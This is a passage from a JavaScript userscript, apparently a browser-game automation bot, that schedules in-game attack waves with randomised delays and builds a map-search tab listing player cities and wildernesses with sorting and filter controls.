				clearTimeout(t.attackTimer);

				if (!Data.options.multiple.enabled) return;

				targetMsg = Data.options.multiple.target.type + translate(' at ') + Data.options.multiple.target.x + '/' + Data.options.multiple.target.y;
				var actionMsg = translate('Primary attack to ') + targetMsg;
				var feedback_element = UID['tabMulti_Feedback'];

				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				retryDelay = cur_march.delay;
				availableGeneral = getAvailableGeneral();
				var chk = checkMarch(actionMsg,
					feedback_element,
					marchCount,
					retryDelay,
					Marches.count.multiple,
					Data.options.multiple.max_marches,
					availableGeneral, true);
				if (chk != 0) {
					t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
					return;
				}
				Data.options.multiple.target.primary_units = cloneProps(Data.options.multiple.target.saved_units_1);
				multiUnits = checkTroops(CAPITAL.id, Data.options.multiple.target.primary_units);
				if (multiUnits !== null) {
					raiseMessage(actionMsg, feedback_element, multiUnits, true, retryDelay);
					t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
					return;
				}
				if (Data.options.multiple.target.include_gd_1) {
					var greatDrag = null;
					if ((greatDrag = getAvailableDragon(true, Data.options.multiple.target.dragons_1)) == null) {
						raiseMessage(actionMsg, feedback_element, 5, false, retryDelay);
						t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
						return;
					}
					Data.options.multiple.target.primary_units[greatDrag] = 1;
				}
				t.secondarySent = 0;
				verboseLog(actionMsg + ' ' + translate('attempted'));

				new MyAjax.marchSend(Seed.cities[CAPITAL.id].id, Data.options.multiple.target.x, Data.options.multiple.target.y, availableGeneral.id, Data.options.multiple.target.primary_units, 'multiple', function(rslt) {
					var t = Tabs.Multiple,
						multiDelay, retryDelay;
					if (rslt.ok && rslt.dat.result.success) {
						t.attackErrors = 0;
						var delay_min = toNum(Data.options.multiple.delay_b4_secondary, 3);
						var delay_max = toNum(delay_min * 0.2);
						multiDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
						verboseLog(actionMsg + ' ' + translate('Successfully'));
						actionLog(actionMsg);
						dispFeedback(feedback_element, actionMsg);
						t.attackTimer = setTimeout(t.multiAttackTick2, (multiDelay + 10) * 1000);
					} else {
						t.attackErrors++
						retryDelay = 30 * (t.attackErrors * t.attackErrors);
						verboseLog(actionMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg + ' - ' + translate('Retry in') + ' ' + retryDelay + ' ' + translate('seconds'));
						actionLog(actionMsg + ' ' + translate('failed'));
						if (rslt.status === 429) {
							retryDelay = E429_DELAY;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
						} else if (rslt.status === 509) {
							retryDelay = 600;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
						} else
							dispFeedback(feedback_element, actionMsg + ' ' + translate('failed'));
						t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
					}
				});
			},
			/* For secondary attack waves */
			multiAttackTick2: function() {
				var t = Tabs.Multiple,
					targetMsg, retryDelay, availableGeneral, multiUnits, marchCount = 0;
				clearTimeout(t.attackTimer);

				if (!Data.options.multiple.enabled) return;
				targetMsg = Data.options.multiple.target.type + translate(' at ') + Data.options.multiple.target.x + '/' + Data.options.multiple.target.y;
				var actionMsg = translate('Secondary attack to ') + targetMsg;
				var feedback_element = UID['tabMulti_Feedback'];

				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				var delay_min = toNum(Data.options.multiple.delay_min, nvl(MIN_DELAY_BETWEEN_WAVE, cur_march.delay));
				var delay_max = toNum(Data.options.multiple.delay_max, toNum(delay_min * 1.5));
				retryDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
				availableGeneral = getAvailableGeneral();
				var chk = checkMarch(actionMsg,
					feedback_element,
					marchCount,
					retryDelay,
					Marches.count.multiple,
					Data.options.multiple.max_marches,
					availableGeneral, true);
				if (chk != 0) {
					t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
					return;
				}
				Data.options.multiple.target.secondary_units = cloneProps(Data.options.multiple.target.saved_units_2);
				multiUnits = checkTroops(CAPITAL.id, Data.options.multiple.target.secondary_units);
				if (multiUnits !== null) {
					raiseMessage(actionMsg, feedback_element, multiUnits, true, retryDelay);
					t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
					return;
				}
				if (Data.options.multiple.target.include_gd_2) {
					var greatDrag = null;
					if ((greatDrag = getAvailableDragon(true, Data.options.multiple.target.dragons_2)) == null) {
						raiseMessage(actionMsg, feedback_element, 5, false, retryDelay);
						t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
						return;
					}
					Data.options.multiple.target.secondary_units[greatDrag] = 1;
				}
				verboseLog(actionMsg + ' ' + translate('attempted'));

				new MyAjax.marchSend(Seed.cities[CAPITAL.id].id, Data.options.multiple.target.x, Data.options.multiple.target.y, availableGeneral.id, Data.options.multiple.target.secondary_units, 'multiple', function(rslt) {
					var t = Tabs.Multiple,
						multiDelay, retryDelay;
					if (rslt.ok && rslt.dat.result.success) {
						t.attackErrors = 0;
						verboseLog(actionMsg + ' ' + translate('Successfully'));
						actionLog(actionMsg);
						dispFeedback(feedback_element, actionMsg);
						t.secondarySent++;
						if (t.secondarySent >= Data.options.multiple.max_secondary) {
							var delay_min = toNum(Data.options.multiple.delay_min, nvl(MIN_DELAY_BETWEEN_WAVE, 10));
							var delay_max = toNum(Data.options.multiple.delay_max, toNum(delay_min * 1.5));
							multiDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
							t.attackTimer = setTimeout(t.multiAttackTick, multiDelay * 1000);
						} else {
							var delay_min = toNum(Data.options.multiple.delay_min2, 3);
							var delay_max = toNum(Data.options.multiple.delay_max2, toNum(delay_min * 1.5));
							multiDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
							t.attackTimer = setTimeout(t.multiAttackTick2, multiDelay * 1000);
						}
					} else {
						t.attackErrors++
						var delay_min = toNum(Data.options.multiple.delay_min, nvl(MIN_DELAY_BETWEEN_WAVE, 10));
						var delay_max = toNum(Data.options.multiple.delay_max, toNum(delay_min * 1.5));
						retryDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
						/*retryDelay = 30 * (t.attackErrors * t.attackErrors);*/
						verboseLog(actionMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg + ' - ' + translate('Retry in') + ' ' + retryDelay + ' ' + translate('seconds'));
						actionLog(actionMsg + ' ' + translate('failed'));
						if (rslt.status === 429) {
							retryDelay = E429_DELAY;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
						} else if (rslt.status === 509) {
							retryDelay = 600;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
						} else
							dispFeedback(feedback_element, actionMsg + ' ' + translate('failed'));
						t.attackTimer = setTimeout(t.multiAttackTick, retryDelay * 1000);
					}
				});
			},

			onUnload: function() {
				var t = Tabs.Multiple;
				if (Data.options.multiple.enabled && t.running.start_at != 0) Data.stats.multiple.run_time += (serverTime() - t.running.start_at);
			},
			show: function() {
				var t = Tabs.Multiple;
				t.marchTick();
				switch (t.contentType || 0) {
					case 0:
						t.tabMultiConfig();
						break;
					case 1:
						t.tabMultiStats();
						break;
				}
			},
			hide: function() {
				var t = Tabs.Multiple;
				clearTimeout(t.marchTimer);
				Data.options.multiple.current_tab = t.contentType;
			}
		}

		/******************************** Map search Tab *****************************/
		Tabs.Search = {
			tabOrder: SEARCH_TAB_ORDER,
			tabLabel: 'Map',
			tabDisabled: !SEARCH_TAB_ENABLE,
			container: null,
			checkMapBusy: false,
			MAX_DISTANCE: 75,
			contentType: 0,
			/* 0 = cities list, 1 = Wildernesses list */
			lastSubTab: 'tabSearchC',

			init: function(div) {
				var t = Tabs.Search;
				Data.setDefaultValues('search');

				t.container = div;
				var m = '<div class=' + UID['title'] + '>' + translate('Map Search') + '</div>' + '<div class=' + UID['content'] + '>' + '	<div>' + '		<b>' + translate('Search coords') + ':&nbsp;</b>&nbsp;' + '		X: <input id=' + setUID('tabSearch_CoordsX') + ' size=2 maxlength=3 type=text value="' + Data.options.search.target.x + '" /> ' + '		Y: <input id=' + setUID('tabSearch_CoordsY') + ' size=2 maxlength=3 type=text value="' + Data.options.search.target.y + '" /> ' + '		&nbsp <b>' + translate('Search max radius') + ':</b>' + '	<select id=' + setUID('tabSearch_MaxRadius') + '>';
				for (var i = 8; i <= 40; i += 8) {
					m += '		<option value="' + i + '" ' + (Data.options.search.target.distance == i ? 'selected' : '') + '>' + i + '</option>';
				}
				m += '	</select><br>' + '		<table class=' + UID['table'] + ' style="margin-top:3px" width=100%>' + '			<tr valign=top align=center>' + '				<td width=33%><label><input id=' + setUID('tabSearch_Refresh') + ' type=button value="' + translate('Refresh map data') + '" /></label></td>' + '				<td width=33%><label><input id=' + setUID('tabSearch_RefreshCities') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Scan cities') + '" /></label></td>' + '				<td width=33%><label><input id=' + setUID('tabSearch_RefreshWilds') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Scan wilds') + '" /></label></td>' + '			</tr>' + '		</table><br>' + '		<div class=' + UID['status_ticker'] + ' style="height:auto !important;margin:1px 10px 5px !important;">' + '			<center><span id=' + setUID('tabSearch_Tile') + '></span></center>' + '		</div>' + '	</div>' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr><td class=left width=50%><div id=' + setUID('tabSearch_Alliance') + '></div></td>' + '			<td class=left width=50%><div id=' + setUID('tabSearch_Players') + '></div></td>' + '		</tr>' + '	</table>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabSearchC') + '>' + translate('Player cities') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabSearchW') + '>' + translate('Wildernesses') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabSearch_Content') + ' style="padding-top:none; height:525px; ; max-height:525px; overflow-x:auto; overflow-y:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabSearch_CoordsX']).addEventListener('change', t.eventCoords, false);
				document.getElementById(UID['tabSearch_CoordsY']).addEventListener('change', t.eventCoords, false);
				document.getElementById(UID['tabSearch_MaxRadius']).addEventListener('change', function(event) {
					var el = event.target;
					Data.options.search.target.distance = toNum(el.options[el.selectedIndex].value);
					t.show();
				}, false);
				document.getElementById(UID['tabSearch_Refresh']).addEventListener('click', function() {
					t.refreshMapData(0);
				}, false);
				document.getElementById(UID['tabSearch_RefreshCities']).addEventListener('click', function() {
					t.refreshMapData(1);
				}, false);
				document.getElementById(UID['tabSearch_RefreshWilds']).addEventListener('click', function() {
					t.refreshMapData(2);
				}, false);
				document.getElementById(UID['tabSearch_Alliance']).addEventListener('change', t.eventAlliance, false);
				document.getElementById(UID['tabSearch_Players']).addEventListener('change', t.eventPlayer, false);
				document.getElementById(UID['tabSearchC']).addEventListener('click', t.tabSearchC, false);
				document.getElementById(UID['tabSearchW']).addEventListener('click', t.tabSearchW, false);
				t.eventCoords();
				t.contentType = toNum(Data.options.search.current_tab);
				t.show();
			},
			hide: function() {},
			show: function() {
				var t = Tabs.Search;
				if (!t.checkMapBusy) {
					t.displayAllianceList();
					t.displayPlayersList();
					switch (toNum(t.contentType)) {
						case 0:
							t.tabSearchC();
							break;
						case 1:
							t.tabSearchW();
							break;
					}
				} else setTimeout(t.show, 100);
			},
			onUnload: function() {
				var t = Tabs.Search;
				Data.options.search.current_tab = t.contentType;
			},
			eventCoords: function(event) {
				checkCoords('tabSearch', null, Data.options.search.target);
			},
			eventAlliance: function(event) {
				var t = Tabs.Search;
				var ea = document.getElementById(UID['tabSearch_SelAlliance']);
				var alli = ea.value;
				Data.options.search.target.alliance = alli;
				if (alli == null) {
					ea.style.backgroundColor = 'red';
					return;
				}
				ea.style.backgroundColor = '';
				t.displayPlayersList();
				t.show();
			},
			eventPlayer: function(event) {
				var t = Tabs.Search;
				var ea = document.getElementById(UID['tabSearch_SelPlayer']);
				var plyr = ea.value;
				Data.options.search.target.player = plyr;
				if (plyr == null) {
					ea.style.backgroundColor = 'red';
					return;
				}
				ea.style.backgroundColor = '';
				t.show();
			},
			displayAllianceList: function() {
				var t = Tabs.Search;
				var list = t.getAllianceList();
				if (list.length > 0)
					list.sort(function(a, b) {
						a = a.name.toLowerCase();
						b = b.name.toLowerCase();
						if (a > b) return 1;
						if (a < b) return -1;
						return 0;
					});
				var m = '<span class=left>' + translate('Alliance') + ':&nbsp </span><select id=' + setUID('tabSearch_SelAlliance') + '>' + '<option value="*" ' + ((Data.options.search.target.alliance == '*') ? 'selected' : '') + '>' + translate('actions-all-alliances').initCap() + '</option>' + '<option value="0" ' + ((Data.options.search.target.alliance == '0') ? 'selected' : '') + '>' + translate('Without alliance') + '</option>' + '<option value="-1" ' + ((Data.options.search.target.alliance == '-1') ? 'selected' : '') + '>' + translate('Foes') + '</option>' + '<option value="1" ' + ((Data.options.search.target.alliance == '1') ? 'selected' : '') + '>' + translate('Friends') + '</option>';
				for (var i = 0; i < list.length; i++) {
					var selected = '';
					if (list[i].id == Data.options.search.target.alliance) selected = 'selected'
					m += '<option value="' + list[i].id + '" ' + selected + '>' + list[i].name + '</option>';
				}
				m += '</select>';
				document.getElementById(UID['tabSearch_Alliance']).innerHTML = m;
				t.displayPlayersList();
			},
			displayPlayersList: function() {
				var t = Tabs.Search;
				var list = t.getPlayersList();
				if (list.length > 0)
					list.sort(function(a, b) {
						a = a.name.toLowerCase();
						b = b.name.toLowerCase();
						if (a > b) return 1;
						if (a < b) return -1;
						return 0;
					});
				var m = '<span class=left>' + translate('Player name') + ':&nbsp </span><select id=' + setUID('tabSearch_SelPlayer') + '>' + '<option value="*" ' + ((Data.options.search.target.player == '*') ? 'selected' : '') + '>' + translate('All players') + '</option>';
				for (var i = 0; i < list.length; i++) {
					var selected = '';
					if (list[i].id == Data.options.search.target.player) selected = 'selected'
					m += '<option value="' + list[i].id + '" ' + selected + '>' + list[i].name + '</option>';
				}
				m += '</select>';
				document.getElementById(UID['tabSearch_Players']).innerHTML = m;
			},

			/* return array of different alliances found */
			getAllianceList: function() {
				var t = Tabs.Search;
				var ret = [];
				for (var alliance in Data.map.alliance) {
					if (alliance != 0) ret.push({
						id: alliance,
						name: (Data.map.alliance[alliance] || '')
					});
				}
				return ret;
			},

			/* return array of different alliances found */
			getPlayersList: function() {
				var t = Tabs.Search;
				var ret = [];
				for (var pid in Data.map.players) {
					if ((Data.options.search.target.alliance == "*") ||
						((Data.options.search.target.alliance == "1") && (getAllianceState(Data.map.players[pid][3]) == '1')) ||
						((Data.options.search.target.alliance == "-1") && (getAllianceState(Data.map.players[pid][3]) == '-1')) ||
						((Data.options.search.target.alliance != "*" && Data.options.search.target.alliance != "1" && Data.options.search.target.alliance != "-1") &&
							((Data.map.players[pid][3] == Data.options.search.target.alliance) ||
								(Data.map.players[pid][3] == 0 && (Data.options.search.target.alliance == null || Data.options.search.target.alliance == 0))))
					)
						if (Data.map.players[pid][0] && Data.map.players[pid][0] != null && Data.map.players[pid][0] != '')
							ret.push({
								id: pid,
								name: (Data.map.players[pid][0] || '')
							});
				}
				logit('Player count = ' + ret.length);
				return ret;
			},

			/* return array of cities that satisfy config (max distance, alliance name) */
			getCityList: function() {
				var t = Tabs.Search;
				var radius = Data.options.search.target.distance || 16;
				var x = Data.options.search.target.x;
				var y = Data.options.search.target.y;
				if (isNaN(x)) x = Seed.cities[CAPITAL.id].x;
				if (isNaN(y)) y = Seed.cities[CAPITAL.id].y;
				var terrains = Map.getTargets({
					x: x,
					y: y,
					radius: radius,
					map_type: 'C'
				});
				var targets = [];
				var alliance = Data.options.search.target.alliance || '*';
				var player = Data.options.search.target.player || '*';
				for (var map_type in terrains) {
					if (map_type == 'City' || map_type == 'Outpost') {
						if (terrains[map_type]) {
							for (var i = 0; i < terrains[map_type].length; i++) {
								var target = (terrains[map_type])[i];
								if ((target && target.d <= radius) &&
									(((target.ai == alliance || alliance == '*') ||
											(alliance == "1" && getAllianceState(target.ai) == '1') ||
											(alliance == "-1" && getAllianceState(target.ai) == '-1') ||
											((!target.ai || target.ai == 0) && (alliance == null || alliance == 0))) &&
										(target.id == player || player == '*'))) {
									if (!target.a && target.n) target.a = '';
									if (!target.n) {
										target.n = '?????';
										target.a = '?????';
										target.m = '?';
									}
									targets.push(target);
								}
							}
						}
					}
				}
				terrains = null;
				return targets;
			},

			/* return array of cities that satisfy config (max distance, alliance name) */
			getWildernessesList: function() {
				var t = Tabs.Search;
				var ret = [];
				var radius = Data.options.search.target.distance || 16;
				var x = Data.options.search.target.x;
				var y = Data.options.search.target.y;
				if (isNaN(x)) x = Seed.cities[CAPITAL.id].x;
				if (isNaN(y)) y = Seed.cities[CAPITAL.id].y;
				var alliance = Data.options.search.target.alliance || '*';
				var terrains = Map.getTargets({
					x: x,
					y: y,
					radius: radius,
					map_type: 'W'
				});
				var targets = [];
				for (var map_type in terrains) {
					if ((map_type == 'hill' && Data.options.search.hill) ||
						(map_type == 'grassland' && Data.options.search.grassland) ||
						(map_type == 'lake' && Data.options.search.lake) ||
						(map_type == 'mountain' && Data.options.search.mountain) ||
						(map_type == 'forest' && Data.options.search.forest) ||
						(map_type == 'plain' && Data.options.search.plain)) {
						if (terrains[map_type]) {
							for (var i = 0; i < terrains[map_type].length; i++) {
								var target = (terrains[map_type])[i];
								if ((target && target.d <= radius) &&
									((target.l) >= toNum(Data.options.search.min_level) &&
										(target.l) <= toNum(Data.options.search.max_level)) &&
									(((((!target.id || target.id == 0) && Data.options.search.unowned) || (!Data.options.search.unowned)) &&
											(((target.ai == alliance || alliance == "*") ||
													(alliance == "1" && getAllianceState(target.ai) == '1') ||
													(alliance == "-1" && getAllianceState(target.ai) == '-1') ||
													((!target.ai || target.ai == 0) && alliance == null)) &&
												(target.id == Data.options.search.target.player || Data.options.search.target.player == "*")) && target.l >= 7) ||
										target.l < 7)) {
									if (target.l < 7 && !target.n) {
										target.n = '-';
										target.a = '-';
										target.m = '-';
									}
									if (!target.a && target.n) target.a = '';
									if (!target.n) {
										target.n = '?????';
										target.a = '?????';
										target.m = '?';
									}
									targets.push(target);
								}
							}
						}
					}
				}
				terrains = null;
				return targets;
			},

			/** CITY PLAYER SUB-TAB ***/
			tabSearchC: function() {
				var t = Tabs.Search;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSearchC']).className = 'selected';
				document.getElementById(UID['tabSearchC']).style.zIndex = 1;
				t.lastSubTab = 'tabSearchC';
				t.contentType = 0;
				if (!is_null(Data.options.search.last_update)) kLastupdate = ' (' + Data.options.search.last_update + ')';
				else kLastupdate = '';
				var m = '<div id=' + setUID('tabSearch_Results') + ' style="height:500px">' + '	<div class=' + UID['title'] + '>' + translate('Player cities list') + kLastupdate + '</div>' + '	<div id=' + setUID('tabSearch_ResultList') + ' class=' + UID['status_ticker'] + '	 style="height:475px; max-height:475px; width:540px; max-width:540px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabSearch_Content']).innerHTML = m;

				var m = '<table class=' + UID['row_style'] + ' width=100%>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td id=' + setUID('tabSearch_tsc_0') + ' width="20px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsc_1') + ' width="40px"><A><span>' + translate('Coords') + '</span></A></td>';
				if (Data.options.search.target.alliance == '*' || Data.options.search.target.alliance == '-1' || Data.options.search.target.alliance == '1')
					m += '	<td id=' + setUID('tabSearch_tsc_2') + '><A><span>' + translate('Alliance') + '</span></A></td>';

				m += '		<td id=' + setUID('tabSearch_tsc_3') + ' width="200px" style="overflow-x:auto"><A><span>' + translate('members') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsc_4') + ' width="40px" align=right><A><span>' + translate('Might') + '</span></A></td>' + '		<td width="40px" align=right>' + translate('Evol') + '</td>' + '		<td id=' + setUID('tabSearch_tsc_5') + '><A><span>' + translate('Type') + '</span></A></td>' + '		<td style="background:none"></td>' + '	</tr>';

				var cities = t.getCityList(),
					ul = [];
				sortCityList();
				for (var i = 0; i < cities.length; i++) {
					m += '<tr><td>' + cities[i].d + '</td><td align=center>' + cities[i].x + ',' + cities[i].y + '</td>';
					if (Data.options.search.target.alliance == "*" || Data.options.search.target.alliance == '-1' || Data.options.search.target.alliance == '1')
						m += '<td align=left>' + getAllianceRelationship(cities[i].ai, cities[i].a) + '</td>';
					if (cities[i].m != null && cities[i].m != '?')
						mightF = numf(cities[i].m, ' ');
					else
						mightF = '?';
					var evol = 'x';
					if (Data.map.evolution[cities[i].id] && cities[i].m && cities[i].m != '?') {
						evol = cities[i].m - Data.map.evolution[cities[i].id].m;
						if (evol < 0) evol = '<span class=' + UID['red'] + '>' + numf(evol, ' ') + '</span>';
						else if (evol > 0) evol = '<span class=' + UID['green'] + '>+' + numf(evol, ' ') + '</span>';
						else evol = numf(evol, ' ');
					}
					m += '<td align=left>' + getAllianceRelationship(cities[i].ai, cities[i].n) + '</td>' + '<td align=right>' + mightF + '</td>' + '<td align=right>' + evol + '</td>' + '<td align=center>' + ((cities[i].t > 9) ? translate(Map.names.type[cities[i].t]) : '') + '</td>' + '<td><input id=' + setUID('tabSearch_Spy_' + i) + ' ref=' + i + ' class=Xtrasmall style="width:auto !important;" type=submit value="' + translate('Spy') + '" />';
					if (cities[i].id && cities[i].id != '' && cities[i].n && cities[i].n != '') {
						var user_ids = cities[i].id + '_' + cities[i].n;
						var UIDMsg = setUID('tabSearch_Msg_' + i);
						m += '	&nbsp &nbsp<input id=' + UIDMsg + ' ref=' + user_ids + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" /></td>';
						ul.push(UIDMsg);
					} else {
						m += '</td>';
					}
					m += '</tr>';
				}
				document.getElementById(UID['tabSearch_ResultList']).innerHTML = m + '</table>';

				for (var h = 0; h < 6; h++)
					if ((h != 2) || ((Data.options.search.target.alliance == '*' || Data.options.search.target.alliance == '-1' || Data.options.search.target.alliance == '1') && h == 2))
						document.getElementById(UID['tabSearch_tsc_' + h]).addEventListener('click', onChangeSort, false);

				var own_alliance = Seed.player.alliance ? Seed.player.alliance.id : -1;
				for (var i = 0; i < cities.length; i++) {
					var butSpy = document.getElementById(UID['tabSearch_Spy_' + i]);
					butSpy.addEventListener('click', butSpyNow, false);
					if ((((cities[i].t > 9) && (cities[i].t != 20)) || (cities[i].t < 9)) &&
						((!cities[i].ai || cities[i].ai == 0 || cities[i].ai == null) || (cities[i].ai != own_alliance))) {
						butSpy.disabled = false;
						Element.removeClassName(butSpy, UID['btn_disabled']);
						Element.addClassName(butSpy, UID['btn_green']);
					} else {
						butSpy.disabled = true;
						Element.removeClassName(butSpy, UID['btn_green']);
						Element.addClassName(butSpy, UID['btn_disabled']);
					}
				}
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);

				function butSpyNow(event) {
					var n = toNum(event.target.getAttribute('ref'));
					buttonSpyNow(t.container, cities[n]);
				}

				function onChangeSort(event) {
					var t = Tabs.Search;
					var arg = event.target.parentNode.parentNode.id;
					if (arg == UID['tabSearch_tsc_0']) {
						if (Data.options.search.sort_list == '0')
							Data.options.search.sort_list = '-0';
						else Data.options.search.sort_list = '0';
					} else if (arg == UID['tabSearch_tsc_1']) {
						if (Data.options.search.sort_list == '1')
							Data.options.search.sort_list = '-1';
						else Data.options.search.sort_list = '1';
					} else if (arg == UID['tabSearch_tsc_2']) {
						if (Data.options.search.sort_list == '2')
							Data.options.search.sort_list = '-2';
						else Data.options.search.sort_list = '2';
					} else if (arg == UID['tabSearch_tsc_3']) {
						if (Data.options.search.sort_list == '3')
							Data.options.search.sort_list = '-3';
						else Data.options.search.sort_list = '3';
					} else if (arg == UID['tabSearch_tsc_4']) {
						if (Data.options.search.sort_list == '4')
							Data.options.search.sort_list = '-4';
						else Data.options.search.sort_list = '4';
					} else if (arg == UID['tabSearch_tsc_5']) {
						if (Data.options.search.sort_list == '5')
							Data.options.search.sort_list = '-5';
						else Data.options.search.sort_list = '5';
					}
					t.tabSearchC();
				}

				function sortCityList() {
					var t = Tabs.Search;
					switch (Data.options.search.sort_list) {
						case '-0':
							cities.sort(function(a, b) {
								return b.d - a.d
							});
							break;
						case '0':
							cities.sort(function(a, b) {
								return a.d - b.d
							});
							break;
						case '-1':
							cities.sort(function(a, b) {
								return b.x - a.x
							});
							break;
						case '1':
							cities.sort(function(a, b) {
								return a.x - b.x
							});
							break;
						case '-2':
							cities.sort(function(a, b) {
								a = a.a.toLowerCase();
								b = b.a.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							break;
						case '2':
							cities.sort(function(a, b) {
								a = a.a.toLowerCase();
								b = b.a.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							break;
						case '-3':
							cities.sort(function(a, b) {
								a = a.n.toLowerCase();
								b = b.n.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							break;
						case '3':
							cities.sort(function(a, b) {
								a = a.n.toLowerCase();
								b = b.n.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							break;
						case '-4':
							cities.sort(function(a, b) {
								return b.m - a.m
							});
							break;
						case '4':
							cities.sort(function(a, b) {
								return a.m - b.m
							});
							break;
						case '-5':
							cities.sort(function(a, b) {
								return b.t - a.t
							});
							break;
						case '5':
							cities.sort(function(a, b) {
								return a.t - b.t
							});
							break;
						default:
							cities.sort(function(a, b) {
								return b.d - a.d
							});
							break;
					}
				}
			},

			/** WILDERNESSES SUB-TAB ***/
			tabSearchW: function() {
				var t = Tabs.Search;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSearchW']).className = 'selected';
				document.getElementById(UID['tabSearchW']).style.zIndex = 1;
				t.lastSubTab = 'tabSearchW';
				t.contentType = 1;

				var m = '<div class=' + UID['content'] + '>' + '<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td width=3%><input id=' + setUID('tabSearch_WildG') + ' type=checkbox ' + (Data.options.search.grassland ? 'CHECKED' : '') + ' /></td>' + '		<td width=20%> ' + translate('Grassland') + '</td>' + '		<td width=3%><input id=' + setUID('tabSearch_WildL') + ' type=checkbox ' + (Data.options.search.lake ? 'CHECKED' : '') + ' /></td>' + '		<td width=20%> ' + translate('Lake') + '</td>' + '		<td width=3%><input id=' + setUID('tabSearch_WildP') + ' type=checkbox ' + (Data.options.search.plain ? 'CHECKED' : '') + ' /></td>' + '		<td width=20%> ' + translate('Plain') + '</td>' + '		<td width=31%>' + translate('Min level') + ': ' + levelSelect('Min', nvl(Data.options.search.min_level, '1')) + '</td>' + '	</tr><tr>' + '		<td><input id=' + setUID('tabSearch_WildH') + ' type=checkbox ' + (Data.options.search.hill ? 'CHECKED' : '') + ' /></td>' + '		<td> ' + translate('Hill') + '</td>' + '		<td><input id=' + setUID('tabSearch_WildM') + ' type=checkbox ' + (Data.options.search.mountain ? 'CHECKED' : '') + ' /></td>' + '		<td> ' + translate('Mountain') + '</td>' + '		<td><input id=' + setUID('tabSearch_WildF') + ' type=checkbox ' + (Data.options.search.forest ? 'CHECKED' : '') + ' /></td>' + '		<td> ' + translate('Forest') + '</td>' + '		<td width=31%>' + translate('Max level') + ': ' + levelSelect('Max', nvl(Data.options.search.max_level, '10')) + '</td>' + '	</tr>' + '</table>' + '<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td width=3%><input id=' + setUID('tabSearch_Unowned') + ' type=checkbox ' + (Data.options.search.unowned ? 'CHECKED' : '') + ' /></td>' + '		<td width=20%> ' + translate('Unowned only') + '</td>' + '		<td width=77% align=center>&nbsp</td>' + '	</tr>' + '</table>' + '</div>' + '<div id=' + setUID('tabSearch_Wilds') + ' style="height:430px">' + '	<div class=' + UID['title'] + '>' + translate('Wildernesses list') + '</div>' + '	<div id=' + setUID('tabSearch_WildList') + ' class=' + UID['status_ticker'] + '	 style="height:400px; max-height:400px; width:540px; max-height:540px; overflow:auto; white-space:nowrap; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabSearch_Content']).innerHTML = m;
				document.getElementById(UID['tabSearch_WildG']).addEventListener('click', eventWildFlag, false);
				document.getElementById(UID['tabSearch_WildL']).addEventListener('click', eventWildFlag, false);
				document.getElementById(UID['tabSearch_WildP']).addEventListener('click', eventWildFlag, false);
				document.getElementById(UID['tabSearch_WildH']).addEventListener('click', eventWildFlag, false);
				document.getElementById(UID['tabSearch_WildM']).addEventListener('click', eventWildFlag, false);
				document.getElementById(UID['tabSearch_WildF']).addEventListener('click', eventWildFlag, false);
				document.getElementById(UID['tabSearch_LvMin']).addEventListener('change', levelChanged, false);
				document.getElementById(UID['tabSearch_LvMax']).addEventListener('change', levelChanged, false);
				document.getElementById(UID['tabSearch_Unowned']).addEventListener('click', eventWildFlag, false);
				displayWildResults();

				function levelChanged(event) {
					var t = Tabs.Search;
					var id = event.target.id;
					var x = toNum(event.target.value);
					if (isNaN(x) || x < 1 || x > 10) {
						event.target.style.backgroundColor = 'red';
					} else {
						if (id == UID['tabSearch_LvMin']) Data.options.search.min_level = x;
						else Data.options.search.max_level = x;
						event.target.value = x;
						var min = Data.options.search.min_level;
						var max = Data.options.search.max_level;
						if (min > max)
